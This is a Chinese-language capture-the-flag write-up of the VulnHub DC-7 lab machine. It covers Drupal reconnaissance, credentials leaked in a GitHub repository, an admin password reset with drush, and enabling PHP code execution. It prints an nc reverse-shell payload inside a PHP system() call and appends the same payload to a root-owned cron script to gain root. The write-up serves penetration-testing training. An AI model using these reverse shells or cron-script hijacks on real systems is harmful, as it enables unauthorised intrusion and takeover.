DC-7靶机
DC: 7 ~ VulnHub
信息收集
- 经过扫描得到IP地址为192.168.78.154.其中开启了ssh和80端口,看来立足点就在于web渗透找到漏洞,获取用户密码来进行ssh连接进行寻找提权方案了
- 使用dirb扫描网址没什么收获
web渗透
- 访问网站,欢迎语是爆破登录没有用处,需要在盒子外面寻找答案,看样子网页没啥可以用的呢,但是突然发现左下角有一个Drupal。之前打过一个靶场可以利用MSF对drupal进行攻击获取meterpreter shell
- 转移到下面发现一个@DCUSER,似乎是一个用户,去搜索发现竟然是一个github的用户,里面有这个网站的源码。好家伙要代码审计啊
- 根据经验之谈,多半会在配置文件中找到答案,来到配置文件,发现了用户和密码
dc7user MdR3xOgB7#dW
- 尝试进行登录,发现失败了,想起来还有开放ssh服务,进行ssh连接,成功登录了进去
ssh信息收集
- 来到ssh登录界面,那必然要查看suid是否能利用提权的了,发现有exim4,在查看其版本 4.89,这不是和DC-4靶机提权方式一样么
- 使用相同的方法 wget下载提权脚本文件
- 执行完后才发现,提权失败,返回的用户还是当前的登录账户
- 很明显这个方法行不通,只能查看文件内容是否给出了提示了。查看目录文件发现一个mbox文件
- 文件内提示有一个脚本文件,而且查看内容发现隔段时间就会有内容,猜测这个脚本是计划任务
- 查看这个脚本的信息 ls -al 发现www权限用户就可以进行写入操作,属主是root,那样子获取www用户,写入反弹shell等待计划任务自动执行即可获取root的shell
- 前去查看一下脚本文件,发现是一个定时任务的脚本,发现cd到了网页目录下,又使用了drush,据了解可以去到网页目录下修改用户的密码 命令
drush user-password admin --password="123456"
发现提示修改成功,前往登录后台
- 当然来到这里一瞬间也就想到了到网站目录下直接写一个webshell,来到目录下,没有vim 只能使用vi编写一个一句话木马,但是在保存的时候提示权限不够。看来这个方法也直接被扼杀了
网站后台渗透
- 尝试进行登录 发现成功登录
admin 123456
- 寻找到了可以修改网页内容的地方,但是尝试进行写入木马总是失败,通过搜索了解到,可以下载PHP插件来进行网页执行php代码,然后使用蚁剑连接小马网页 php安装包
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
- 再次来到编辑网页内容界面,查看下面发现可以进行php代码编辑,直接调用系统命令函数,执行反弹shell到kali主机上
<?php
system("nc -e /bin/bash 192.168.78.145 7777")
?>
权限提升
- 寻找到之前在mbox文件中发现的脚本,
cd /opt/scripts
查看其权限,发现www用户可以写入,所有用户可执行,属主是root用户,是一个计划任务。可以想到之前为了获取www权限就是为了给脚本中写入反弹shell echo "nc -e /bin/bash 192.168.78.145 7777"
- 反弹shell的话,哪个用户执行了这个脚本,就会获取谁的权限,所以只能监听本地端口,静待着计划任务自动执行,执行的权限就是属主的root权限
- 因为mbox是邮件文件,所以前去/etc/mail查看之前一次执行是在什么时候。发现是在16.整,根据上面时间了解十五分钟后便会自动执行
- 成功接受到了计划任务反弹回来的root的shell
收获
- 观察下面的信息,可能隐藏着某一位网上的作者
- 根据文件里的内容,判断脚本是计划任务
- Drupal修改网站的用户admin密码
drush user-password admin --password="123456"
需要去到网站目录下 - 网站后台下载可执行php代码的插件 可以直接调用系统命令函数 system 执行反弹shell
- 给一些属主为root权限的计划任务脚本添加反弹shell的命令 等待自动执行即可反弹shell